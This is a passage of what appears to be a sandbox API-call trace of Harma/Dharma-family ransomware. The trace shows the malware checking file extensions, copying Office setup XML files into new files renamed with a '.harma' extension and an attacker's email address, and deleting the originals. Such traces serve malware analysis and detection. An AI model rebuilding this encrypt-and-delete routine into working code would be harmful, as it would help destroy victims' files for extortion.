(lpString=".xls") returned 4 [0050.398] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.398] lstrlenW (lpString=".xlsx") returned 5 [0050.398] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0050.398] lstrlenW (lpString=".ppt") returned 4 [0050.398] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.398] lstrlenW (lpString=".zip") returned 4 [0050.398] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.398] lstrlenW (lpString=".rar") returned 4 [0050.398] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.398] lstrlenW (lpString=".bz2") returned 4 [0050.398] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.398] lstrlenW (lpString=".7z") returned 3 [0050.398] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.398] lstrlenW (lpString=".dbf") returned 4 [0050.398] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.399] lstrlenW (lpString=".1cd") returned 4 [0050.399] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0050.399] lstrlenW (lpString=".jpg") returned 4 [0050.399] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.402] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0050.402] lstrlenW (lpString="SETUP.XML") returned 9 [0050.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.429] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2362) returned 1 [0051.429] CloseHandle (hObject=0x210) returned 1 [0051.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0051.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0051.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.430] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.430] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.430] GetLastError () returned 0x0 [0051.430] ReadFile (in: hFile=0x210, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x93a, lpOverlapped=0x0) returned 1 [0051.432] WriteFile (in: hFile=0x214, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x940, lpOverlapped=0x0) returned 1 [0051.433] ReadFile (in: hFile=0x210, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.433] WriteFile (in: hFile=0x214, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.434] SetEndOfFile (hFile=0x214) returned 1 [0051.434] CloseHandle (hObject=0x214) returned 1 [0051.435] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.435] SetEndOfFile (hFile=0x210) returned 1 [0051.436] CloseHandle (hObject=0x210) returned 1 [0051.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0051.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.437] lstrlenW (lpString=".doc") returned 4 [0051.437] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.437] lstrlenW (lpString=".docx") returned 5 [0051.437] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.437] lstrlenW (lpString=".pdf") returned 4 [0051.437] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.437] lstrlenW (lpString=".xls") returned 4 [0051.437] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.437] lstrlenW (lpString=".xlsx") returned 5 [0051.437] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.437] lstrlenW (lpString=".ppt") returned 4 [0051.437] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.437] lstrlenW (lpString=".zip") returned 4 [0051.437] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.437] lstrlenW (lpString=".rar") returned 4 [0051.437] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.437] lstrlenW (lpString=".bz2") returned 4 [0051.437] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.437] lstrlenW (lpString=".7z") returned 3 [0051.437] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.438] lstrlenW (lpString=".dbf") returned 4 [0051.438] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.438] lstrlenW (lpString=".1cd") returned 4 [0051.438] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.438] lstrlenW (lpString=".jpg") returned 4 [0051.438] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.438] lstrlenW (lpString=".doc") returned 4 [0051.438] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString=".docx") returned 5 [0051.438] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.438] lstrlenW (lpString=".pdf") returned 4 [0051.438] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString=".xls") returned 4 [0051.438] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString=".xlsx") returned 5 [0051.438] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.438] lstrlenW (lpString=".ppt") returned 4 [0051.438] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.438] lstrlenW (lpString=".zip") returned 4 [0051.438] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.439] lstrlenW (lpString=".rar") returned 4 [0051.439] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.439] lstrlenW (lpString=".bz2") returned 4 [0051.439] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.439] lstrlenW (lpString=".7z") returned 3 [0051.439] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.439] lstrlenW (lpString=".dbf") returned 4 [0051.439] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.439] lstrlenW (lpString=".1cd") returned 4 [0051.439] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0051.439] lstrlenW (lpString=".jpg") returned 4 [0051.439] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.439] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0051.439] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0051.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.441] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6421) returned 1 [0051.441] CloseHandle (hObject=0x210) returned 1 [0051.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0051.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0051.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.441] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.442] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.442] GetLastError () returned 0x0 [0051.442] ReadFile (in: hFile=0x210, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x1915, lpOverlapped=0x0) returned 1 [0051.444] WriteFile (in: hFile=0x214, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0051.454] ReadFile (in: hFile=0x210, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.454] WriteFile (in: hFile=0x214, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xee, lpOverlapped=0x0) returned 1 [0051.454] SetEndOfFile (hFile=0x214) returned 1 [0051.454] CloseHandle (hObject=0x214) returned 1 [0051.455] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.455] SetEndOfFile (hFile=0x210) returned 1 [0051.456] CloseHandle (hObject=0x210) returned 1 [0051.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0051.457] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0051.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.457] lstrlenW (lpString=".doc") returned 4 [0051.457] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.457] lstrlenW (lpString=".docx") returned 5 [0051.457] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0051.458] lstrlenW (lpString=".pdf") returned 4 [0051.458] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString=".xls") returned 4 [0051.458] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString=".xlsx") returned 5 [0051.458] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0051.458] lstrlenW (lpString=".ppt") returned 4 [0051.458] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.458] lstrlenW (lpString=".zip") returned 4 [0051.458] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.458] lstrlenW (lpString=".rar") returned 4 [0051.458] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString=".bz2") returned 4 [0051.458] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString=".7z") returned 3 [0051.458] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.458] lstrlenW (lpString=".dbf") returned 4 [0051.458] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.458] lstrlenW (lpString=".1cd") returned 4 [0051.458] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.458] lstrlenW (lpString=".jpg") returned 4 [0051.458] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.459] lstrlenW (lpString=".doc") returned 4 [0051.459] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString=".docx") returned 5 [0051.459] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0051.459] lstrlenW (lpString=".pdf") returned 4 [0051.459] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString=".xls") returned 4 [0051.459] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString=".xlsx") returned 5 [0051.459] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0051.459] lstrlenW (lpString=".ppt") returned 4 [0051.459] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.459] lstrlenW (lpString=".zip") returned 4 [0051.459] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.459] lstrlenW (lpString=".rar") returned 4 [0051.459] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString=".bz2") returned 4 [0051.459] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.459] lstrlenW (lpString=".7z") returned 3 [0051.459] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.459] lstrlenW (lpString=".dbf") returned 4 [0051.459] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.460] lstrlenW (lpString=".1cd") returned 4 [0051.460] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0051.460] lstrlenW (lpString=".jpg") returned 4 [0051.460] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.460] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0051.460] lstrlenW (lpString="SETUP.XML") returned 9 [0051.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.461] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=16683) returned 1 [0051.462] CloseHandle (hObject=0x210) returned 1 [0051.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0051.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0051.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.462] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.462] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.236] GetLastError () returned 0x0 [0052.236] ReadFile (in: hFile=0x210, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x412b, lpOverlapped=0x0) returned 1 [0052.381] WriteFile (in: hFile=0x1f8, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0052.382] ReadFile (in: hFile=0x210, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.382] WriteFile (in: hFile=0x1f8, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.382] SetEndOfFile (hFile=0x1f8) returned 1 [0052.382] CloseHandle (hObject=0x1f8) returned 1 [0052.383] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.383] SetEndOfFile (hFile=0x210) returned 1 [0052.384] CloseHandle (hObject=0x210) returned 1 [0052.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.385] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0052.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.385] lstrlenW (lpString=".doc") returned 4 [0052.385] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.385] lstrlenW (lpString=".docx") returned 5 [0052.385] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.385] lstrlenW (lpString=".pdf") returned 4 [0052.385] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.385] lstrlenW (lpString=".xls") returned 4 [0052.385] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.385] lstrlenW (lpString=".xlsx") returned 5 [0052.385] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.385] lstrlenW (lpString=".ppt") returned 4 [0052.385] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.385] lstrlenW (lpString=".zip") returned 4 [0052.385] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.385] lstrlenW (lpString=".rar") returned 4 [0052.385] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.385] lstrlenW (lpString=".bz2") returned 4 [0052.385] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.385] lstrlenW (lpString=".7z") returned 3 [0052.386] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0052.386] lstrlenW (lpString=".dbf") returned 4 [0052.386] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 